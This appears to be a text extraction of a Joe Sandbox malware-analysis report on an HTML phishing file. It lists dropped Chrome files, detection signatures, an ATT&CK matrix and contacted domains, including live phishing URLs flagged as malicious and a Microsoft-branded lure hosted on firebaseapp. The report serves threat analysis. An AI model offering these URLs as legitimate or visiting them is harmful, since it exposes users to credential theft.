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Created / dropped Files
C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic
C:\Users\user\AppData\Local\Google\Chrome\User Data\09ab72cb-52ae-4994-a3bd-f8a75a336fe8.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\2699c47d-37d5-4591-accb-5d07326895ba.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\3ddf133a-0330-41cd-945a-cb6bd665fa34.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\4604de8e-a81d-48a9-8a87-49928d3e9113.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\758e4751-937a-454c-b0a9-0eab4601b11d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\8e7800eb-4c79-40a0-983a-101fe8590c01.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\9de6409c-44ed-4863-b6d9-4437dac8f2f8.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\467c85ce-48f6-4fff-9b64-288175348379.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\46f4e373-225d-4037-b61a-79482c0b6637.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\51854940-e079-4705-8722-e614d8e53d54.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\66d9f770-8575-4e09-9098-071537ad1189.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9e400345-6eaa-4358-bc13-536cdbbf0030.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\9b9bb0a8-e5e6-4831-90e8-
c6c5dec5a45d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State
(copy)
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\1a740594-65fd-4ef0-8aee-
c8eb20d41298.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cf716ab2-2905-4f20-9dd1-c147d44be878.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f24f8fa0-0e07-41ff-b73d-f66f5d31e337.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f7c5dba8-37d0-4b83-b46e-fb6c92c0a8d5.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\fcff49ae-88de-4712-b988-0b8a828cf3fd.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\af9e52f8-afa2-4167-bce6-8585bfe6bf37.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\ba77caf7-6152-4373-8b57-709f68107b4d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\baddb423-349a-4660-a29e-87928bda12e0.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\bb6b5a85-3698-46d7-ba71-b82d6c13dc90.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\d62a7374-1175-48c5-8fa0-e815be94517e.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\dee00d45-86b6-4ab4-a1da-2731ca5fdfca.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\fc52010b-1aaf-4073-be58-70e6949eb5ac.tmp
C:\Users\user\AppData\Local\Temp\5748_1946978943\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\5748_1946978943\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\5748_1946978943\manifest.json
C:\Users\user\AppData\Local\Temp\5748_1946978943\ssl_error_assistant.pb
C:\Users\user\AppData\Local\Temp\5748_2016759917\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\5748_2016759917\download_file_types.pb
C:\Users\user\AppData\Local\Temp\5748_2016759917\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\5748_2016759917\manifest.json
C:\Users\user\AppData\Local\Temp\5748_2070244500\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\5748_2070244500\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\5748_2070244500\manifest.json
C:\Users\user\AppData\Local\Temp\5748_2070244500\module_list_proto
C:\Users\user\AppData\Local\Temp\5748_321233161\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_pnacl_json
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe
C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\5748_321233161\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\5748_321233161\manifest.json
C:\Users\user\AppData\Local\Temp\5748_340911963\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\5748_340911963\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\5748_340911963\manifest.json
C:\Users\user\AppData\Local\Temp\5748_418863182\LICENSE
C:\Users\user\AppData\Local\Temp\5748_418863182\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\5748_418863182\crl-set
C:\Users\user\AppData\Local\Temp\5748_418863182\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\5748_418863182\manifest.json
C:\Users\user\AppData\Local\Temp\e5dfde8d-4573-40bc-a117-c67f67f86b5d.tmp
C:\Users\user\AppData\Local\Temp\e834dbff-473a-450b-8b3c-8ba045887e18.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\de\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\hr\messages.json

Static File Info
General
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Snort IDS Alerts
Network Port Distribution
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Windows Analysis Report 
#Ud83d#Udcde_0072520589037.html (2).html

Overview

General Information

Sample 
Name:

#Ud83d#Udcde_00725205
89037.html (2).html

Analysis ID: 626143

MD5: ba279617f88ed6…

SHA1: 8aa70edba45e04…

SHA256: d8ff2148078fbbd…

Infos:

Detection

HTMLPhisher

Score: 76

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish44

Multi AV Scanner detection for dom…

Snort IDS alert for network traffic

Phishing site detected (based on im…

Found iframes

Internet Provider seen in connection…

No HTML title found

JA3 SSL client fingerprint seen in co…

HTML body contains low number of …

IP address seen in connection with …

Submit button contains javascript call

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 5748 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\#Ud83d#Udcde_0

072520589037.html (2).html MD5: C139654B5C1438A95B321BB01AD63EF6)
chrome.exe (PID: 5924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-

handle=1596,14513621473907241117,5746487209409969036,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1912 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

#Ud83d#Udcde_0072520589037.html (2).html JoeSecurity_HtmlP
hish_44

Yara detected 
HtmlPhish_44

Joe Security

⊘ No Sigma rule has matched

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Copyright Joe Security LLC 2022 Page 5 of 286



AV Detection

Phishing

Networking

Timestamp: 192.168.2.38.8.8.853802532016778 05/13/22-16:40:06.023681

SID: 2016778

Source Port: 53802

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

1
Drive-by
Compromis
e

1
Scripting

Path
Interceptio
n

1
Process
Injection

3
Masqueradi
ng

OS
Credential
Dumping

System
Service
Discovery

Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Process
Injection

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

3
Non-
Application
Layer
Protocol

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

1
Scripting

Security
Account
Manager

Query
Registry

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

4
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

Binary
Padding

NTDS System
Network
Configurati
on
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

1
Ingress
Tool
Transfer

SIM Card
Swap

Carrier
Billing
Fraud

Snort Signatures
ET DNS Query to a *.pw domain - Likely Hostile - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Joe Sandbox Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected HtmlPhish44

Phishing site detected (based on image similarity)

Snort IDS alert for network traffic

Mitre Att&ck Matrix

Behavior Graph
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Behavior Graph

ID: 626143

Sample: #Ud83d#Udcde_0072520589037....

Startdate: 13/05/2022

Architecture: WINDOWS

Score: 76

sni1gl.wpc.alphacdn.net scdn1efff.wpc.9da5e.alphacdn.net 5 other IPs or domains

Snort IDS alert for
network traffic

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain 2 other signatures

chrome.exe

14 300

        started       

192.168.2.1

unknown

unknown

192.168.2.23

unknown

unknown

239.255.255.250

unknown

Reserved

C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF

dropped

C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF

dropped

C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF

dropped

chrome.exe

38

        started       

valdia.quatiappcn.pw

188.114.97.10, 443, 49731

CLOUDFLARENETUS

European Union

192.168.2.3, 137, 138, 443

unknown

unknown

21 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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⊘ No Antivirus matches

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% ReversingLabs

⊘ No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Copyright Joe Security LLC 2022 Page 8 of 286

https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis


Source Detection Scanner Label Link

rimorecndappz.firebaseapp.com 0% Virustotal Browse

sni1gl.wpc.alphacdn.net 0% Virustotal Browse

etools.page 1% Virustotal Browse

part-0032.t-0009.fbs1-t-msedge.net 0% Virustotal Browse

valdia.quatiappcn.pw 12% Virustotal Browse

Source Detection Scanner Label Link

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/js/a3107e4d4ae0ea783cd1177c52f1e
6301649697231.js

0% Avira URL Cloud safe

https://valdia.quatiappcn.pw/625461d8a89ccb628021247f.js 100% Avira URL Cloud phishing

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/css/972bc60054973fc87bffb8ba3c049
2fanbr1649697239.css

0% Avira URL Cloud safe

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/e4fc5ba74141b5f241e5a39205ad7ce
a.js

0% Avira URL Cloud safe

https://etools.page/re/Zk5RTCthaVRLSXFCbGMxbGZoc0paWi9GZTNoUUVzekJWUmtmOHVhdmZvQT
BoclU1Z0s0OG44SlQ0b3BxckdWRDNXNzh1V0pIelhnZUtpTVRqdEFNTGc9PQ

100% Avira URL Cloud phishing

https://dns.google 0% URL Reputation safe

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/ac9d501254e3d7e326d2bb25eda466
9bnbr1649697239.js

0% Avira URL Cloud safe

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/imgs/ellipsis_white.svg 0% Avira URL Cloud safe

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/imgs/microsoft_logo.svg 0% Avira URL Cloud safe

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/css/ac9d501254e3d7e326d2bb25eda
4669bnbr1649697239.css

0% Avira URL Cloud safe

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/imgs/ellipsis_grey.svg 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

a.nel.cloudflare.com 35.190.80.1 true false high

accounts.google.com 142.250.186.77 true false high

rimorecndappz.firebaseapp.com 199.36.158.100 true false 0%, Virustotal, Browse unknown

cdnjs.cloudflare.com 104.17.25.14 true false high

bit.ly 67.199.248.10 true false high

sni1gl.wpc.alphacdn.net 152.199.21.175 true false 0%, Virustotal, Browse unknown

clients.l.google.com 142.250.185.238 true false high

unpkg.com 104.16.126.175 true false high

etools.page 188.114.96.10 true false 1%, Virustotal, Browse unknown

part-0032.t-0009.fbs1-t-msedge.net 13.107.219.60 true false 0%, Virustotal, Browse unknown

valdia.quatiappcn.pw 188.114.97.10 true true 12%, Virustotal, Browse unknown

signup.live.com unknown unknown false high

clients2.google.com unknown unknown false high

secure.aadcdn.microsoftonline-p.com unknown unknown false unknown

fpt.live.com unknown unknown false high

acctcdn.msftauth.net unknown unknown false unknown

Name Malicious Antivirus Detection Reputation

https://cdnjs.cloudflare.com/ajax/libs/vee-validate/2.0.0-rc.3/vee-validate.min.js false high

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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https://www.virustotal.com/gui/url/f82c2ff46c564db2e911803dd6aea67875bec731c7fad8d610617eeb0d542ee1/detection/u-f82c2ff46c564db2e911803dd6aea67875bec731c7fad8d610617eeb0d542ee1-1650535912
https://www.virustotal.com/gui/url/6b5ff6541c9ec7667f43bb2bd7a451bf8681d412f7558db772a18023759a3661/detection/u-6b5ff6541c9ec7667f43bb2bd7a451bf8681d412f7558db772a18023759a3661-1640173320
https://www.virustotal.com/gui/url/4b048b7971400a5cc93a41514c6b3be5c22806959d200a22e9cad92b3aaa13f9/detection/u-4b048b7971400a5cc93a41514c6b3be5c22806959d200a22e9cad92b3aaa13f9-1652222633
https://www.virustotal.com/gui/url/62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e/detection/u-62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e-1652187523
https://www.virustotal.com/gui/url/d98df0a23b56126336e5404dd51ed9f5710d4242a54df9100ffc7ffc613b2ef0/detection/u-d98df0a23b56126336e5404dd51ed9f5710d4242a54df9100ffc7ffc613b2ef0-1652417087
https://www.virustotal.com/gui/url/f82c2ff46c564db2e911803dd6aea67875bec731c7fad8d610617eeb0d542ee1/detection/u-f82c2ff46c564db2e911803dd6aea67875bec731c7fad8d610617eeb0d542ee1-1650535912
https://www.virustotal.com/gui/url/6b5ff6541c9ec7667f43bb2bd7a451bf8681d412f7558db772a18023759a3661/detection/u-6b5ff6541c9ec7667f43bb2bd7a451bf8681d412f7558db772a18023759a3661-1640173320
https://www.virustotal.com/gui/url/4b048b7971400a5cc93a41514c6b3be5c22806959d200a22e9cad92b3aaa13f9/detection/u-4b048b7971400a5cc93a41514c6b3be5c22806959d200a22e9cad92b3aaa13f9-1652222633
https://www.virustotal.com/gui/url/62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e/detection/u-62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e-1652187523
https://www.virustotal.com/gui/url/d98df0a23b56126336e5404dd51ed9f5710d4242a54df9100ffc7ffc613b2ef0/detection/u-d98df0a23b56126336e5404dd51ed9f5710d4242a54df9100ffc7ffc613b2ef0-1652417087


https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/js/a3107e4d4ae0ea783cd1177c5
2f1e6301649697231.js

false Avira URL Cloud: safe unknown

https://fpt.live.com/?
session_id=4ce4b873b77d49859b565ee66e549405&CustomerId=33e01921-4d64-4f8c-a055-
5bdaffd5e33d&PageId=SU

false high

https://valdia.quatiappcn.pw/625461d8a89ccb628021247f.js true Avira URL Cloud: phishing unknown

https://a.nel.cloudflare.com/report/v3?
s=95MAPGmhKfBJjSxMmqDJPtiAL6eg72D3bI%2BCaf1kyarI7KW7ucndN6WaU32DvrX7dyJv3JqOR
NP11YtVIE8hX%2FpvuKPG7wPfXtRCltHfhVcUoy9cpCsXL5MAmw158Q%3D%3D

false high

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/css/972bc60054973fc87bffb8ba3c
0492fanbr1649697239.css

false Avira URL Cloud: safe unknown

https://signup.live.com/signup?
wa=wsignin1.0&%3bamp%3brpsnv=13&%3bam&lic=1&uaid=4ce4b873b77d49859b565ee66e54940
5

false high

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/e4fc5ba74141b5f241e5a39205ad
7cea.js

false Avira URL Cloud: safe unknown

https://cdnjs.cloudflare.com/ajax/libs/vue-i18n/7.0.3/vue-i18n.min.js false high

https://etools.page/re/Zk5RTCthaVRLSXFCbGMxbGZoc0paWi9GZTNoUUVzekJWUmtmOHVhdmZ
vQTBoclU1Z0s0OG44SlQ0b3BxckdWRDNXNzh1V0pIelhnZUtpTVRqdEFNTGc9PQ

true Avira URL Cloud: phishing unknown

https://unpkg.com/vue@2.6.11/dist/vue.min.js false high

https://unpkg.com/lodash@4.17.4/lodash.min.js false high

https://cdnjs.cloudflare.com/ajax/libs/vuex/2.3.1/vuex.min.js false high

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/ac9d501254e3d7e326d2bb25eda
4669bnbr1649697239.js

false Avira URL Cloud: safe unknown

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/imgs/ellipsis_white.svg false Avira URL Cloud: safe unknown

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/imgs/microsoft_logo.svg false Avira URL Cloud: safe unknown

https://bit.ly/3iynvOz false high

https://unpkg.com/vue-router@2.7.0/dist/vue-router.min.js false high

https://a.nel.cloudflare.com/report/v3?
s=3WKZ3rGhLd%2FhRN7XvyF42eaxr21QV9X76kewrB4SFly7ipEZGShz5m7iHf36lOjoHdFWndGbA
gHdNdquNuWB7Jk%2BNjAZnYQAYBUcmIec596WHlSO1fD8UesPY%2B1PKg%3D%3D

false high

https://unpkg.com/axios@0.16.1/dist/axios.min.js false high

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/css/ac9d501254e3d7e326d2bb25
eda4669bnbr1649697239.css

false Avira URL Cloud: safe unknown

https://rimorecndappz.firebaseapp.com/cvnmkyjthrsdgvzx/themes/imgs/ellipsis_grey.svg false Avira URL Cloud: safe unknown

https://cdnjs.cloudflare.com/ajax/libs/mobile-detect/1.3.6/mobile-detect.min.js false high

Name Malicious Antivirus Detection Reputation

Name Source Malicious Antivirus Detection Reputation

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

https://play.google.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr

false high

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json.0.dr false high

https://accounts.google.com/MergeSession craw_window.js.0.dr false high

https://www.google.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr

false high

https://accounts.google.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr

false high

https://apis.google.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr

false high

URLs from Memory and Binaries
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https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_window.js.0.dr, craw_background.js.0.dr false high

https://clients2.google.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr

false high

https://dns.google fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
9b9bb0a8-e5e6-4831-90e8-c6c5dec5a45d.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr, 1a
740594-65fd-4ef0-8aee-c8eb20d41298.tmp.1.dr

false URL Reputation: safe unknown

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_window.js.0.dr, craw_background.js.0.dr false high

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

https://ogs.google.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp.1.dr, 
bb5694a4-f670-4ffe-b51c-2fa3e4a60ee5.tmp.1.dr

false high

https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-llvm.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

llvm.org/): pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_publ
ic_x86_64_pnacl_llc_nexe.0.dr

false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://code.google.com/p/nativeclient/issues/entry%s:
pnacl_public_x86_64_ld_nexe.0.dr false high

https://code.google.com/p/nativeclient/issues/entry
pnacl_public_x86_64_ld_nexe.0.dr false high

https://clients2.googleusercontent.com fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp.1.dr, 
